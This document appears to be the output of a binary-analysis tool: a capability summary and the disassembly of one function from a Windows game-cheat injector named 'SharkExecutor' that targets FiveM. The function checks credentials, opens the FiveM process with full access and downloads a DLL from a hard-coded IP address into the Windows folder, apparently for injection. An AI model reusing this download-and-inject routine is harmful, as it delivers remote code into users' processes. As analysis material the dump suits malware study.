Function at 0x14003ee30
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Delete file
Download url
Get file attributes
Inject thread
Receive data
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2f8]
sub rsp, 0x3d0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1401200c0]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor r15d, r15d
mov dword [rsp + 0x70], r15d
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x14004186d
lea r12, [0x140162308]
lea rsi, [r15 - 1]
lea r13, [0x1401623c8]
lea r14, [0x140162368]
cmp byte [0x140163779], r15b
jne 0x14003f7ea
lea rcx, [0x140163ac0]
call fcn.14005fed0
cmp byte [0x140163cd0], r15b
jne 0x14003ef0b
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rsi + 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdi, qword [0x140163d68]
lea rbx, [0x140163d58]
cmp qword [0x140163d70], 0xf
cmova rbx, qword [0x140163d58]
call fcn.1400b9b20
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rdi
lea r8, [rbp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x18]
call fcn.14003b9a0
nop
lea rcx, [rbp - 0x18]
call fcn.14003c440
movzx ebx, al
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x14003ef95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ef90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ef90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
movdqa xmm0, xmmword [0x14010de80]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r15w
test bl, bl
je 0x14003f768
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rdi, [0x140163d58]
mov rbx, rdi
cmp qword [0x140163d70], 0xf
cmova rbx, qword [0x140163d58]
lea rax, [0x14010dca8]
mov qword [rbp + 0xc0], rax
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xd0], rax
mov byte [rbp + 0x14c], 0
mov byte [rbp + 0x141], 0
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x150], r15
mov rax, qword [0x140163dd8]
mov qword [rbp + 0x144], rax
mov qword [rbp + 0x138], r15
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.140045c80
test rax, rax
jne 0x14003f0e1
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0x208], r15
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x60]
call fcn.140046440
nop
lea rax, [rbp - 0x50]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 8
lea rdx, str.password
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x60]
call fcn.140043650
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], 0
mov dword [rsp + 0x70], 0x47
cmp byte [rax], 3
jne 0x1400418db
mov rdx, qword [rax + 8]
lea rcx, [rbp - 0x50]
call fcn.140043990
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 8
lea rdx, str.username
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x60]
call fcn.140043650
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
mov dword [rsp + 0x70], 0x237
cmp byte [rax], 3
jne 0x140041918
mov rdx, qword [rax + 8]
lea rcx, [rbp - 0x80]
call fcn.140043990
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [0x140163ac0]
call fcn.140061f60
cmp byte [0x140163cd0], 0
jne 0x14003f261
mov rcx, rdi
cmp qword [0x140163d70], 0xf
cmova rcx, qword [0x140163d58]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x140163788], r15d
jmp 0x14003f702
lea r8, [0x140163b60]
lea rcx, [rsp + 0x50]
call fcn.140046540
mov rbx, rax
cmp r12, rax
je 0x14003f2f2
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14003f2b7
mov rcx, qword [0x140162308]
inc rdx
cmp rdx, 0x1000
jb 0x14003f2b2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003f326
mov rcx, r8
call fcn.1400b8cfc
movdqa xmm0, xmmword [0x14010dea0]
movdqu xmmword [0x140162318], xmm0
mov byte [0x140162308], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140162308], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140162318], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14003f332
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f32d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f32d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 6
lea rdx, str.detect
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [0x140163ac0]
call fcn.140068050
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14003f37b
mov rax, qword [rax]
mov rdi, rsi
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14003f380
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rcx
ja 0x14003f3bf
mov rbx, r13
cmp rcx, 0xf
cmova rbx, qword [0x1401623c8]
mov qword [0x1401623d8], rdi
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14003f3ce
mov r9, rax
mov rdx, rdi
mov rcx, r13
call fcn.1400476e0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14003f40c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f407
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f407
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
mov rbx, qword [0x140163c00]
mov rax, qword [0x140163c08]
sub rax, rbx
sar rax, 6
test rax, rax
je 0x140041955
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.140043b10
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.140043b10
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x80]
call fcn.140043b10
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14003f46b
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14003f4b4
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14003f4af
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003f622
mov rcx, r8
call fcn.1400b8cfc
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0x48], rdi
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbp + 0x18]
movaps xmmword [rbp - 0x40], xmm1
mov eax, dword [rbp + 0x28]
mov dword [rbp - 0x30], eax
lea r9, [rbp - 0x50]
lea r8, str._d__m__Y
mov edx, 0x50
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x1d0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14003f523
lea rdx, [rbp + 0x1d0]
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14003f57f
mov rcx, qword [0x140162328]
inc rdx
cmp rdx, 0x1000
jb 0x14003f57a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003f622
mov rcx, r8
call fcn.1400b8cfc
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [0x140162328], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [0x140162338], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov r8d, 4
lea rdx, str.last
lea rcx, [rsp + 0x50]
call fcn.14003d9e0
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [0x140163ac0]
call fcn.140068050
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14003f5e0
mov rax, qword [rax]
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], 0
jne 0x14003f5e3
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rcx
ja 0x14003f629
mov rbx, r14
cmp rcx, 0xf
cmova rbx, qword [0x140162368]
mov qword [0x140162378], rdi
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14003f638
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r9, rax
mov rdx, rdi
mov rcx, r14
call fcn.1400476e0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14003f676
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f671
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f671
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
mov dword [0x140163788], 2
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14003f6bd
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f6b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f6f5
call fcn.1400b8cfc
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14003f702
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f6fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f6fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
nop
movzx edx, byte [rbp + 0x60]
lea rcx, [rbp + 0x68]
call fcn.140044d70
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd0]
call fcn.140043300
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [0x140163780]
movaps xmm0, xmmword [0x14010df90]
movups xmmword [rcx + 0x39ec], xmm0
movaps xmm1, xmmword [0x14010dfb0]
movups xmmword [rcx + 0x3a3c], xmm1
movaps xmm0, xmmword [0x14010e000]
movups xmmword [rcx + 0x3b1c], xmm0
movaps xmm1, xmmword [0x14010dfe0]
movups xmmword [rcx + 0x3b2c], xmm1
movaps xmm0, xmmword [0x14010dff0]
movups xmmword [rcx + 0x3b3c], xmm0
mov qword [rcx + 0x38f0], r15
mov qword [rcx + 0x38f8], r15
mov dword [rcx + 0x3924], 0x41200000
mov dword [rcx + 0x3928], 0x41300000
mov dword [rcx + 0x392c], 0x40a00000
mov byte [0x140163779], 1
jmp 0x14003f7f1
mov rcx, qword [0x140163780]
mov eax, dword [rcx + 0x4a00]
or eax, 2
mov dword [rcx + 0x4a00], eax
movsd xmm0, qword [0x140162300]
movsd qword [rcx + 0x4a20], xmm0
mov dword [rcx + 0x4a08], 1
or eax, 1
mov dword [rcx + 0x4a00], eax
mov qword [rcx + 0x4a10], r15
mov qword [rcx + 0x4a18], r15
mov dword [rcx + 0x4a04], 1
mov ecx, dword [0x140163788]
test ecx, ecx
je 0x14004090e
sub ecx, 1
je 0x140040106
cmp ecx, 1
je 0x14003f868
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046690
jmp 0x14004186d
mov r8d, dword [0x140120148]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [0x140120140]
call fcn.14000dbe0
mov rbx, qword [0x140163780]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
mov rdi, qword [rax + 0x2a8]
movss xmm0, dword [rax + 0x28]
movss dword [rsp + 0x70], xmm0
movss xmm13, dword [rax + 0x2c]
movss xmm9, dword [rax + 0x30]
movss xmm10, dword [rax + 0x34]
mov qword [rsp + 0x30], r15
lea r14, str.SHARK
mov qword [rsp + 0x28], r14
movss xmm6, dword [0x14010de54]
movss dword [rsp + 0x20], xmm6
movss xmm7, dword [0x14010de44]
movaps xmm3, xmm7
movss xmm11, dword [0x14010ddbc]
movaps xmm2, xmm11
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
movss xmm14, dword [0x14010dd54]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm15, eax
cvtdq2ps xmm15, xmm15
mov qword [rsp + 0x30], r15
lea r15, str.EXECUTOR
mov qword [rsp + 0x28], r15
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movaps xmm2, xmm11
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm8, eax
cvtdq2ps xmm8, xmm8
mov rax, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [0x140162308]
xorps xmm12, xmm12
test rax, rax
jne 0x14003f98f
xorps xmm1, xmm1
jmp 0x14003f9d3
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movss xmm2, dword [0x14010dda8]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c140
movss xmm0, dword [rbp + 0x48]
addss xmm0, xmm14
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm8
addss xmm0, xmm15
movaps xmm7, xmm9
movss xmm15, dword [0x14010dd24]
mulss xmm7, xmm15
addss xmm7, dword [rsp + 0x70]
mulss xmm0, xmm15
movaps xmm6, xmm7
subss xmm6, xmm0
mulss xmm1, xmm15
subss xmm7, xmm1
addss xmm8, xmm6
subss xmm8, dword [0x14010ddc4]
movaps xmm0, xmmword [0x14010e020]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
movaps xmm14, xmm13
addss xmm14, xmm11
movss dword [rbp + 0x48], xmm6
movss dword [rbp + 0x4c], xmm14
mov r8, qword [0x140163a90]
test eax, 0xff000000
je 0x14003faab
test r8, r8
jne 0x14003fa5c
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm12
lea rax, [0x14010c0e5]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x48]
movaps xmm2, xmm11
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
movaps xmm0, xmmword [0x14010e000]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov r9d, eax
movss dword [rbp + 0x48], xmm8
movss dword [rbp + 0x4c], xmm14
test eax, 0xff000000
je 0x14003fb32
test r8, r8
jne 0x14003fae2
mov rcx, qword [rdi + 0x38]
mov r8, qword [rcx + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm12
lea rax, [0x14010c0f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x48]
movaps xmm2, xmm11
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
mov r8, qword [0x140163a90]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r12, qword [0x140162308]
movaps xmm0, xmmword [0x14010dfc0]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
mov ecx, eax
addss xmm13, dword [0x14010ddd0]
movss dword [rbp + 0x48], xmm7
movss dword [rbp + 0x4c], xmm13
test eax, 0xff000000
je 0x14003fbd7
inc rsi
cmp byte [r12 + rsi], 0
jne 0x14003fb73
add rsi, r12
cmp r12, rsi
je 0x14003fbd7
test r8, r8
jne 0x14003fb92
mov rax, qword [rdi + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rbp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r12
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r9, [rbp + 0x48]
movss xmm2, dword [0x14010dda8]
mov rdx, rdi
mov rcx, r8
call fcn.14002c360
movaps xmm0, xmmword [0x14010dfc0]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdx, [0x140162368]
cmova rdx, qword [0x140162368]
movaps xmm3, xmm10
subss xmm3, dword [0x14010de20]
mov r8d, eax
lea rcx, str.LAST_UPDATE
call fcn.14003e4f0
movaps xmm0, xmmword [0x14010dfc0]
movups xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140003e20
lea rdx, [0x140162328]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140162328]
movaps xmm3, xmm10
subss xmm3, dword [0x14010de10]
mov r8d, eax
lea rcx, str.EXPIRES
call fcn.14003e4f0
movaps xmm6, xmm10
subss xmm6, dword [0x14010de00]
mov rbx, qword [0x1401623d8]
mov rdi, qword [reloc.WS2_32.dll_ntohs]
mov rcx, r13
mov rsi, qword [0x1401623c8]
cmp rdi, 0xf
cmova rcx, rsi
cmp rbx, 0xb
jne 0x14003fcb1
mov r8, rbx
lea rdx, str.Maintenance
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003fcb1
movaps xmm0, xmmword [0x14010df70]
jmp 0x14003fcf0
mov rcx, r13
cmp rdi, 0xf
cmova rcx, rsi
cmp rbx, 7
jne 0x14003fcde
mov r8, rbx
lea rdx, str.Testing
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003fcde
movaps xmm0, xmmword [0x14010df80]
jmp 0x14003fce5
movaps xmm0, xmmword [0x14010dfa0]
lea rax, [rbp + 0x60]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x60]
movups xmmword [rbp + 0x60], xmm0
call fcn.140003e20
mov rdx, r13
cmp rdi, 0xf
cmova rdx, rsi
movaps xmm3, xmm6
mov r8d, eax
lea rcx, str.STATUS
call fcn.14003e4f0
subss xmm10, dword [0x14010dde0]
mov rcx, qword [0x140163780]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm10
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
mulss xmm9, xmm15
subss xmm9, dword [0x14010ddf8]
addss xmm0, xmm9
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov dword [rbp + 0x48], 0x43960000
mov dword [rbp + 0x4c], 0x42700000
lea rdx, [rbp + 0x48]
lea rcx, str.Inject
call fcn.14002fb70
test al, al
je 0x140041868
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x1401623c8]
mov r8, qword [0x1401623d8]
cmp r8, 0xb
jne 0x14003fdfd
lea rdx, str.Maintenance
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003fdfd
lea r9d, [rax + 0x10]
lea r8, str.SharkExecutor
lea rdx, str.Wait_for_an_update_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004186d
call fcn.14003e880
mov r14d, eax
xor ecx, ecx
test eax, eax
jne 0x14003fe28
lea r9d, [rax + 0x10]
lea r8, str.SharkExecutor
lea rdx, str.Open_Fivem_first_
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004186d
lea rdx, str.FiveM
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14003fe59
lea r9d, [rax + 0x10]
lea r8, str.SharkExecutor
lea rdx, str.Open_Fivem_at_Starting_Page_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004186d
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x14003fe8d
lea r9d, [rax + 0x10]
lea r8, str.SharkExecutor
lea rdx, str.Error_when_opening_Fivems_process_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004186d
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xor r15d, r15d
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r15
lea r8d, [r15 + 0x15]
lea rdx, str.C:Windowschrome.dll
lea rcx, [rbp + 0x60]
call fcn.14003d9e0
nop
mov rsi, qword [rbp + 0x70]
lea r9, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r9, qword [rbp + 0x60]
mov rax, qword [reloc.WS2_32.dll_ntohs]
lea rdi, [0x1401623a8]
cmp rsi, rax
ja 0x14003ff03
mov rbx, rdi
cmp rax, 0xf
cmova rbx, qword [0x1401623a8]
mov qword [0x1401623b8], rsi
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], r15b
jmp 0x14003ff0e
mov rdx, rsi
mov rcx, rdi
call fcn.1400476e0
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r8, qword [rbp + 0x60]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.http:__108.165.179.33_bro_you_are_gay.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14003ff73
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ff6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ff6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8cfc
test ebx, ebx
je 0x14003ffa3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rax, str.Error_while_downloading_0x_
add rdx, rax
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.SharkExecutor
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004186d
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x1401623a8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400400e5
test al, 0x10
jne 0x1400400e5
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x1401623a8]
xor r9d, r9d
lea r8, [rbp + 0xc0]
mov edx, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x1400400c7
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
